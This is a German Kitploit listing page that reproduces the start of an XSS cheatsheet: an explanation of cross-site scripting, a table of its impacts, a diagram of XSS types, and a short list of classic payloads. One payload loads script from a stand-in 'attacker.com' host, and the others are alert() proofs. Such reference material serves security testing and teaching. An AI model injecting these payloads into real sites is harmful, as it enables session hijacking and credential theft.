Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
xss-cheatsheet — Umfassende XSS-Referenz zu reflektierten, gespeicherten, DOM- und Blind-Payloads, Filter-Bypass, WAF-Umgehung, CSP-Bypass, mXSS und realen CVE-Fallstudien. | Kitploit
Tools/GitHubGitHub/ardakocadoru/xss-cheatsheet
Web-SchwachstellenscannerPayload-GenerierungSchwachstellenanalyseWebanwendungs-ExploitationWAF-UmgehungWebsicherheitPenetrationstestsLernen & BildungKuratierte Ressourcen
GitHubardakocadoru/xss-cheatsheet

xss-cheatsheet

Umfassende XSS-Referenz zu reflektierten, gespeicherten, DOM- und Blind-Payloads, Filter-Bypass, WAF-Umgehung, CSP-Bypass, mXSS und realen CVE-Fallstudien.

222vor 3 MonatenNoch nicht geprüft
Repository anzeigen

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

⚡ XSS Cheatsheet — Referenz für Cross-Site Scripting

Stars License: MIT PRs Welcome Last Updated Payloads

Die umfassendste XSS-Referenz auf GitHub.
Reflected · Stored · DOM · Blind XSS — Payloads, Filter-Bypasses, WAF-Evasion, CSP-Bypass, mXSS, Prototype-Pollution-Ketten und reale CVEs. Aktualisiert für 2026.

Payloads · Filter-Bypass · WAF-Evasion · DOM XSS · CSP-Bypass · Blind XSS · Fortgeschritten · Tools


Inhaltsverzeichnis

  • Was ist XSS?
  • XSS-Typen
  • Basis-Payloads
    • Klassische Payloads
    • Alert-Alternativen
    • Ohne Klammern
    • Ohne Leerzeichen
    • Mit entfernten Anführungszeichen
  • Filter-Bypass
    • Groß-/Kleinschreibungsvariation
    • Tag-Verschleierung
    • Liste der Event-Handler
    • HTML-Encoding
    • JavaScript-Encoding
    • URL-Encoding
    • Doppel-Encoding
    • SVG-Payloads
    • HTML5-spezifisch
    • Data-URI
  • Kontextspezifische Payloads
    • HTML-Kontext
    • HTML-Attribut-Kontext
    • JavaScript-Kontext
    • JavaScript-String-Kontext
    • URL-Kontext
    • CSS-Kontext
    • JSON-/Template-Kontext
  • WAF-Evasion
    • Cloudflare-Bypass
    • ModSecurity-Bypass
    • AWS-WAF-Bypass
    • Generische Evasion
  • CSP-Bypass
    • unsafe-inline
    • script-src self
    • CDN-Whitelists
    • base-uri fehlt
    • Dangling Markup
    • Nonce-basiertes CSP
  • DOM-basiertes XSS
    • Häufige Quellen
    • Häufige Sinks
    • DOM-XSS-Payloads
    • AngularJS-Template-Injection
  • Blind XSS
  • XSS-Polyglots
  • XSS über Datei-Upload
  • XSS in HTTP-Headern
  • XSS zu RCE
  • Fortgeschrittene Techniken
    • mXSS
    • DOM-Clobbering
    • Prototype Pollution zu XSS
    • CSTI
  • Verteidigung
  • Reale CVEs
  • Tools
  • Referenzen
  • Mitwirken

🎯 Was ist XSS?

Cross-Site Scripting (XSS) ist ein clientseitiger Code-Injection-Angriff, bei dem ein Angreifer bösartige Skripte in Inhalte einschleust, die von einer vertrauenswürdigen Webanwendung ausgeliefert werden. Wenn der Browser des Opfers die Seite rendert, wird das eingeschleuste Skript mit denselben Privilegien ausgeführt wie legitime Skripte von dieser Origin.

Warum XSS wichtig ist

XSS steht durchgängig in den OWASP Top 10, weil die Auswirkungen schwerwiegend und die Angriffsfläche enorm sind:

AuswirkungBeschreibung
Session Hijackingdocument.cookie stehlen und authentifizierte Sitzungen übernehmen
Account TakeoverE-Mail/Passwort über gefälschte Anfragen mit der Sitzung des Opfers ändern
KeyloggingJeden Tastendruck erfassen, einschließlich Passwörtern und Kreditkartennummern
PhishingGefälschte Anmeldeformulare einschleusen, die Anmeldedaten an den Angreifer übermitteln
DefacementSeiteninhalte ändern, um Fehlinformationen zu verbreiten oder das Ziel zu blamieren
Malware-VerbreitungOpfer auf Exploit-Kits umleiten
Crypto-MiningCryptominer in den Browsern der Opfer ausführen
SSRF / Interner PortscanDen Browser des Opfers nutzen, um das interne Netzwerk zu sondieren
Credential HarvestingAutomatisch ausgefüllte Anmeldedaten aus dem DOM auslesen
Screenshot / WebcamBildschirm über getDisplayMedia() erfassen, Webcam über getUserMedia()

Die Same-Origin-Policy und XSS

XSS hebelt die Same-Origin-Policy (SOP) aus. Da das bösartige Skript vom Ziel-Ursprung ausgeliefert wird, behandelt der Browser es als vertrauenswürdig. Das bedeutet, XSS verschafft einem Angreifer:

  • Vollständigen Lese-/Schreibzugriff auf das DOM
  • Zugriff auf alle Cookies, die nicht durch HttpOnly geschützt sind
  • Die Möglichkeit, authentifizierte XHR-/Fetch-Anfragen an denselben Ursprung zu stellen
  • Zugriff auf localStorage und sessionStorage

🗺️ XSS-Typen

Cross-Site Scripting (XSS)
│
├── Reflected XSS
│   ├── Payload in request, reflected in response immediately
│   ├── Requires victim to click crafted link
│   ├── Stored: NO — not persistent
│   └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│   ├── Payload stored in database, file, log, etc.
│   ├── Executes on every page load for every victim
│   ├── Stored: YES — most dangerous type
│   └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│   ├── Payload processed by client-side JS, never reaches server
│   ├── Source → Sink flow entirely in browser
│   ├── Often missed by server-side WAFs and scanners
│   └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
    ├── Payload executes in a different context than where it's injected
    ├── Fires in admin panels, log viewers, CRM systems
    ├── Time delay between injection and execution (hours/days)
    └── Example: support ticket field that fires in agent dashboard
TypPersistenzWen es trifftSieht der Server die Payload?
ReflectedNeinGezieltes OpferJa
StoredJaAlle BesucherJa
DOMNeinGezieltes OpferNormalerweise nein
BlindJa (remote)Admin / Backend-BenutzerJa (am Injektionspunkt)

💥 Grundlegende Payloads

Klassisch

Die grundlegenden Payloads, die jeder Sicherheitsforscher kennt. Diese funktionieren, wo keine Filterung vorhanden ist.

<!-- Standard script tag -->
<script>alert(1)</script>

<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>

<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>

<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>

<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>

<!-- Newline in script tag -->
<script>
alert(1)
</script>

<!-- Multiple statements -->
<script>var x=1;alert(x)</script>

<!-- Using window.alert -->
<script>window.alert(1)</script>

<!-- With character reference -->
<script>alert&#40;1&#41;</script>

<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>

<!-- Arrow function -->
<script>(() => alert(1))()</script>

Alert-Alternativen (wenn alert blockiert wird)

Tool herunterladen